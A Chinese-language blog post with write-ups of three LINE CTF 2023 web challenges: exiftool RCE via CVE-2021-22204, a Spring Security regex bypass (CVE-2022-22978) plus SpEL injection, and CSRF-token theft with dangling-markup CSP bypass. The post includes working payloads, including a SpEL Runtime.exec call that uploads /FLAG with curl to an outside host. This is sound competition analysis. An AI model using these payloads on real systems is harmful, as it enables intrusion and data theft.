LINE CTF 2023 Writeups

發表於
分類於 CTF

今年 LINE CTF 我在 TSJ 裡面與 THC 合作以 _TTT_ 參加,我解了個幾題中等難度的 web,都蠻好玩的。

Imageexif

簡單來說這題有個 Python 服務會使用 exiftool 12.22 來讀取你上傳圖片的 exif 資訊,然後把資訊回傳給使用者。查一下可以找到一些現成的 exploit 如 exploit-CVE-2021-22204JPEG_RCE,測試一下也能成功。然而這題困難點在於 backend 只存在於 Docker 自己的內網,不能對外連線,中間透過 Nginx reverse proxy 連接而已,所以需要找個方法透過那個 Python 服務把 flag 傳回來。

我有想過把 uwsgi server 直接 kill,然後 docker compose 那邊因為有 restart: always 所以會自動重啟,所以只要能找到 sys.path 中有可寫的地方的話搞不好就有機會在 Python process 拿 RCE。但是我沒有找到可寫的地方,所以就放棄了。

另一個方法是利用 Python 服務在讀取完 exif 資訊後會把暫存檔刪除,所以只要我們先把他刪除的話就能得到一個 error oracle,然後透過判斷 flag 字元就能 leak 回來了。賽後看到確實有其他隊這樣做,但是我覺得這個方法太沒效率的,還是希望能找到一個更好的方法直接回顯。

Python 那邊是透過 PyExifTool 去讀取的,裡面會先開個 stay_open 模式的 exiftool process,然後透過 stdin 送額外的 cli flags 進去讓 exiftool 執行。它送的 flags 大概是 -j -echo4 ... 之類的,-j 是指用 json 格式輸出,-echo4 是告訴 exiftool 要在執行完成時回傳一個指定的 sequence,這樣 Python 這邊才能判斷輸出是不是結束了。

所以我原本是想在 perl 那邊 system('print json');exit() 是沒用的,因為這樣不會回傳那個指定的 sequence,而只會讓 exiftool 卡住不動而已。而另一個方法是想辦法取得 echo4 傳進來的那個 sequence,但是我對 perl 不熟所以也不知道這個怎麼做。最後想到的另一招是因為 RCE 的地方是在它輸出 result json 之前,所以如果能 hook print 函數的話有機會可以讓它不能 print 那個 json,不過這邊也一樣是因為對 perl 不熟所以做不到。

結果後來再仔細看一遍 Python server 發現有:

except ExifToolJSONInvalidError as e:
	os.remove("tmp/"+tmpFileName)
	data = e.stdout
	reg = re.findall('\[(.*?)\]',data, re.S )[0]
	metadata = ast.literal_eval(reg)
	if 0 != len(metadata):
		return render_template(
		'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
	else:
		return jsonify({
			"error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
	}), 400

所以其實根本不用 valid json,因為它就算失敗也會從 stdout 抓長得像 json 的東西出來,所以 system('print json') 就夠了…。

exploit-CVE-2021-22204.py 的 main 部分這樣改就行了:

if __name__ == "__main__":
    from base64 import b64encode
    cmd = b"""printf '[{"SourceFile":"%s"}]' "$FLAG" """
    b64 = b64encode(cmd).decode()
    exec = f'echo {b64}|base64 -d|bash'
    command = f"system(\'{exec}\')"
    exploit(command)

SafeNote

一個 Java Sprint Boot 的 web 服務,前端是用 React 寫的,api 方面是用 JWT 驗證的。

這題第一個關鍵在於 /admin/key/{id} 這個 route:

@GetMapping("/key/{id}")
public String getKey(
		@Value("${jwt.secret-key}") String secretKey
) {
	if(SecurityContextHolder
			.getContext()
			.getAuthentication()
			.getAuthorities()
			.stream()
			.anyMatch(x -> x.getAuthority()
					.equals("USER"))
	){
		return "There's nothing for you.";
	}
	return secretKey;
}

而各 route 所需的驗證設定是這麼設的:

http
	.csrf()
		.disable()
	.authorizeRequests()
	.antMatchers("/api/user/register","/api/user/login").permitAll()
	.antMatchers("/api/user/**", "/api/note/**").authenticated()
	.regexMatchers("/api/admin/.*").authenticated()
	.antMatchers("/api/admin/.*").hasRole("ADMIN")
	.anyRequest().permitAll();

所以可知它要求 /api/admin/.* 都必須要有驗證 (不一定要是 admin),然後 /api/admin/key/{id} 這個 route 會檢查如果你是 USER 的話就不給你 JWT secret key。這邊仔細想的話會發現如果你沒驗證的話那 .equals("USER") 也不會成立,所以如果有辦法繞過 .regexMatchers("/api/admin/.*").authenticated() 的話說不定就能拿到 secret key 了。

查了一下可以發現有 CVE 2022-22978,它是關於 org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry.regexMatchers 繞過的 CVE,版本包含 Spring Security 5.5.x < 5.5.7Spring Security 5.6.x < 5.6.4。檢查一下 build.gradle 可以找到一行 ext['spring-security.version'] = '5.6.3',所以顯然是可以用這個 CVE 的。

CVE 本身主要是關於 java 的 .* 並不會 match 所有字元的的這點,所以只要 GET /api/admin/key/%0a 就能拿到 JWT secret key,然後就能偽造 admin JWT 了。接下來是要找方法讀 /FLAG 檔案才行,這部分要利用 /api/admin/feature:

@PostMapping(value="/feature", produces = MediaType.APPLICATION_FORM_URLENCODED_VALUE)
public Response<FeatureResponse> emulateFeature(@RequestBody String featureRequest, Authentication authentication) {

	User user = VariousUtils.cast(authentication.getPrincipal(), User.class);
	if(!Objects.equals(user.getUsername(), ADMIN_ROLE)){
		throw new LineCtfException(
				ErrorCode.INVALID_PERMISSION,
				String.format("You are Not Admin : %s", authentication.getName())
		);
	}
	return Response.success(
			new FeatureResponse(
					spelExpressionParser.parseExpression(
							VariousUtils.decode(featureRequest).split("=")[1]
					).getValue(String.class)
			)
	);
}

可知它會把你傳的資料當成 SpEL expression 去執行,而 SpEL 基本上就是 eval,所以想辦法執行指令就行了。

await fetch('/api/admin/feature', {
  method: "POST",
  headers: {
    "Authorization": `Bearer ${localStorage.token}`,
  },
  body: 'feature='+encodeURIComponent(`''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), "curl https://XXXX --upload-file /FLAG")`)
}).then(r=>r.json())

Another Secure Store Note

主程式:

const fs = require('fs')
const ejs = require('ejs')
const path = require('path')
const crypto = require('crypto')
const express = require('express')
const cookieParser = require('cookie-parser')
const { db, createNewUser, getCsrf } = require('./db');

const app = express()

app.use('/', express.static(path.join(__dirname, 'public')))
app.use(express.urlencoded({extended: false}))
app.use(cookieParser())

function rand() { return crypto.randomBytes(20).toString('hex') }

app.use((req, res, next) => {
  const { id } = req.cookies;
  req.user = (id && db.cookies[id] && db.cookies[id].username) ? db.cookies[id].username : undefined;
  const csp = (id && db.cookies[id] && db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : '';
  res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`)
  next()
})

function shouldBeLoggedIn(req, res, next) { if (!req.user) res.redirect('/'); else next(); }
function shouldNotBeLoggedIn(req, res, next) { if (req.user) res.redirect('/profile'); else next(); }
function csrfCheck(req, res, next) { 
  const { csrf } = req.body
  if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`)
  next()
}

app.get('/', shouldNotBeLoggedIn, (req, res) => {
  res.render('auth.ejs')
})

app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) => {
  const { username, password } = req.body
  try {
    if (db.users[username]) {
      if (db.users[username].password !== password) throw 'Wrong password';
    } else createNewUser(username, password)
    const newCookie = rand()
    db.cookies[newCookie] = Object.create(null)
    db.cookies[newCookie].username = username
    db.cookies[newCookie].csrf = rand()
    db.cookies[newCookie].nonce = rand()
    res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`)
    res.redirect('/profile')
  } catch (err) {
    res.redirect(`/?error=${err}`)
  }
})

app.get('/csp.gif', shouldBeLoggedIn, (req, res) => {
  db.cookies[req.cookies.id].nonce = rand()
  res.setHeader('Content-Type', 'image/gif')
  res.send('OK')
})

const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8');
app.get('/getSettings.js', (req, res) => {
  res.setHeader('Content-Type', 'text/javascript');
  const response = ejs.render(settingsFile, { 
    csrf: getCsrf(req.cookies.id),
    domain: process.env.DOMAIN,
  });
  res.end(response);
})

app.get('/profile', shouldBeLoggedIn, (req, res) => {
  res.render('profile.ejs', { 
    name: db.users[req.user].name,
    nonce: db.cookies[req.cookies.id].nonce,
  });
})

app.post('/profile', shouldBeLoggedIn, csrfCheck, (req, res) => {
  const { name } = req.body;
  db.users[req.user].name = name;
  res.redirect('/profile?message=Successfully updated name')
})

// For interacting with admin bot
app.use('/bot', shouldBeLoggedIn, require('./bot.js'));

// We might need to change this to https in real challenge
const https = require('https');
const port = 4567
https
  .createServer({ 
    key: fs.readFileSync('key.pem'),
    cert: fs.readFileSync('cert.pem'),
  }, app)
  .listen(port, () => {
    console.log(`Server is runing at port ${port}`)
  });

還有 profile.ejs:

<%- include('header.ejs') %>
<body>
  <div class=content>
    <ul>
      <li><a class=active href='/'>Home</a></li>
      <li><a href=/bot>Talk to admin</a></li>
    </ul>
    <img src=csp.gif>

    <div class=main>
      <h1>📕 <%- name %> secured notes 📕</h1>
      <div>
        <form method=POST>
          Wanna change your name?
          <input class=change-name type=text name=name placeholder="🐻 Brown">
          <input type=hidden name=csrf id=_csrf>
          <input type=submit value=Submit>
          <p class=red id=error></p>
          <p class=green id=message></p>
        </form>
      </div>
    </div>

    <div class=main>
      Can you tell me a secret? It will securely kept in "localStorage" of this page.
      <textarea id=secret></textarea>
      <input id=submit_storage type=submit value=Store>
      <script nonce=<%= nonce %> type='application/javascript'>
        const btn = document.getElementById('submit_storage');
        btn.addEventListener('click', (e) => {
          localStorage.setItem('secret', document.getElementById('secret').value);
          const resp = document.getElementById('response');
          resp.innerText = 'Successfully stored secret';
          setTimeout(() => resp.innerText = '', 1500);
        });
      </script>
      <p id=response></p>
    </div>
  </div>
  <%- include('footer.ejs') %>
</body>

這邊顯然有個 XSS 在 name 那邊,但不管是要登入還是要改名字都需要 CSRF token。這邊可以看一下 getSettings.js:

function isInWindowContext() {
  const tmp = self;
  self = 1; // magic
  const res = (this !== self);
  self = tmp;
  return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
  const urlParams = new URLSearchParams(location.search);
  try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
  try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
  try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}

如果直接 embed 這個 js 在自己的頁面上的話只要是 SameSite=Lax (而這題是 SameSite=None) 以下都會送 cookie,所以 js 裡面會包含 CSRF token。透過 Object.defineProperty 可以把 document.domain 改成它要的 domain,所以可以拿到 CSRF token。

接下來它 admin bot 的部分是使用 firefox + puppeteer,會先登入之後設 flag 到 localStorage 之後再 visit 自己的頁面,所以可以透過 CSRF token 去 POST /profile 改名字:

<div id="error"></div>
<div id="message"></div>
<form action="{{ target }}/profile" method="POST" id="frm">
	<input name="name" />
	<input name="csrf" id="_csrf" />
</form>
<script>
	Object.defineProperty(document, 'domain', { get: () => '{{ domain }}' })
	window.onload = () => {
		frm.name.value = `PAYLOAD`
		frm.submit()
	}
</script>
<script src="{{ target }}/getSettings.js"></script>

不過接下來還有 CSP 要 bypass,這部分的關鍵有兩個,第一個是 nonce 更新只會在 /csp.gif 被觸發的時候才會變動,所以只要不讓它載入 /csp.gif 就能固定 nonce。接下來 nonce 的部分可以用 <meta http-equiv=refresh content='0; url=https://XX? 的 dangling markup 去 leak 出來,所以得到 nonce 之後再一個 CSRF 就能 XSS 了。

Payload: sol.tar.gz

這題之所以會用 Firefox 的原因應該是因為 Chrome 有 dangling markup protection 吧。